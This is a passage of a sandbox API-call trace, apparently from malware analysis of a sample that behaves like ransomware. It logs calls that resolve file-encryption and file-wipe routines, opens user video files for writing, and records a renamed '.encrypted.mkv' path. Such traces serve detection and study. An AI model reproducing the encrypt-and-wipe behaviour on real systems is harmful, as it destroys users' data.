out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.330] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.330] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.330] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.330] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.332] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.333] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.336] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.336] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.336] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.336] CharLowerBuffW (in: lpsz="byte[66519]", cchLength=0xb | out: lpsz="byte[66519]") returned 0xb [0029.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.337] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.337] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.337] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.337] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.337] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.337] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.337] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.338] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.338] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.338] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.339] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.339] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.340] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.340] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10775) returned 1 [0029.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.340] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2a17, lpOverlapped=0x0) returned 1 [0029.341] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.341] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2a17, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.341] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10775) returned 1 [0029.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.encrypted.mkv\r\n", cchWideChar=105, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0029.341] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.encrypted.mkv\r\n", cchWideChar=105, lpMultiByteStr=0xe8f4067370, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.encrypted.mkv\r\n", lpUsedDefaultChar=0x0) returned 105 [0029.341] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4066070*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4066070*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x68, lpOverlapped=0x0) returned 1 [0029.341] CloseHandle (hObject=0x1fc) returned 1 [0029.342] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.342] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.343] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.343] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.343] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.343] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.343] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.344] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.344] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178900, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.344] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178900, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.345] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.swf", cchWideChar=87, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 87 [0029.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.swf", cchWideChar=87, lpMultiByteStr=0xe8f4069710, cbMultiByte=87, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.swf", lpUsedDefaultChar=0x0) returned 87 [0029.345] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\wujnmkpd-vv.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=87, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0029.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=87, lpWideCharStr=0xe8f404b2f0, cchWideChar=87 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\wujnmkpd-vv.swf") returned 87 [0029.346] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.347] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.347] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.347] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.347] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.347] CloseHandle (hObject=0x1fc) returned 1 [0029.348] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.348] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.348] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.348] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.348] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.348] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.349] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.349] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 1 [0029.349] TranslateMessage (lpMsg=0xe8f3dfeb20) returned 0 [0029.349] DispatchMessageW (lpMsg=0xe8f3dfeb20) returned 0x0 [0029.349] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe150) returned 1 [0029.350] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0029.350] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.350] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.350] PeekMessageW (in: lpMsg=0xe8f3dfeb20, 